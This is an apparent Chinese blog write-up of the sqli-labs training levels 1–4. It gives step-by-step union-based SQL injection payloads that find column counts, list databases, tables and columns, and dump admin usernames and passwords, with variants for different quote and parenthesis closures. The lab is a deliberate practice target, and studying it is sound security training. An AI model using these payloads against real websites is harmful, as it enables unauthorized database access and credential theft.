sqli-labs (less1-less4)

就只是随便记一记

less 1

get方法的引号闭合

id=1'有报错,证明有注入点,然后接下来是看一下有多少列

?id=-1' union select 1,2,3--+'

这里我们如果只是写select后面加三个以下数字都会报错,证明里面是有三列的,用order by 也可以查出来

剩下的就是爆数据库,表,字段,值了

爆数据库

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+' 因为选出来的数据库可能会有很多个,用group_concat连起来显示出来,同时id=-1无法查询到东西,就会显示后面的数据

爆表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+'

爆字段

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+'

爆值

?id=-1' union select 1,concat(username,'@@',password),3 from users where username="admin"--+'

admin的username和password用@@去分隔

到这里,我们就可以拿到admin的账号和密码了

来多一个组合技能

?id=0' union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23

less 2

get方法整数查询

这里我们按照刚刚的直接在id=1后面加个单引号发现会报错,为了看得更清楚一点,我们的参数这样写

?id=1!'!----

这个时候可以看见,两个感叹号中间夹着的单引号其实是没有跟我们想象的前面的单引号闭合的,所以,其实他的查询语句不是less 1的 select xxx from "table_name" where id='$_GET[id]',而是select xxx from "table_name" where id=$_GET[id],可以看见,这两个语句的差别只是一个id有单引号括着,一个没有,但是没有的话,就证明其实他是接收的是一个整数,而不是字符串

再试一下?id=1--+

发现后面的语句全部注释掉了,回显正常,确实接收的是一个整数

接下来就跟刚刚差不多,用?id=-1 union select 1,2,3--+或者?id=1 order by 3--+去看一下是几列

然后暴库-->表-->字段-->值-->拿到后台管理员密码,截图不放了,参数给一给

?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+

?id=-1 union select 1,concat_ws('@@',username,password),3 from users where username="admin"--+

less 3

get方法单引号变形字符串注入

?id=1'会报错,然后?id=1''又没有报错

可以看到单引号和右括号,所以其实语句应该是select xxx from "table_name" where id = ('$_GET["id"]')

传过来的id有限制,有右括号和单引号括着,所以闭合有两点,一个单引号另一个右括号

payload构造 ?id=1') --+ 传过去就可以变成 id = ('1') --+') ,然后后面的都注释掉了,所以都能绕过,最后的payload

?id=-1') union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+

less 4

get方法双引号变形字符串注入

?id=1'正常回显,?id=1"会报错

其实跟less 3差不多,只是单引号变成了双引号,查询语句是

select xxx from "table_name" where id = (" $_GET["id"] ")

?id = 1") --+就能绕过闭合

最终payload

?id=-1") union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值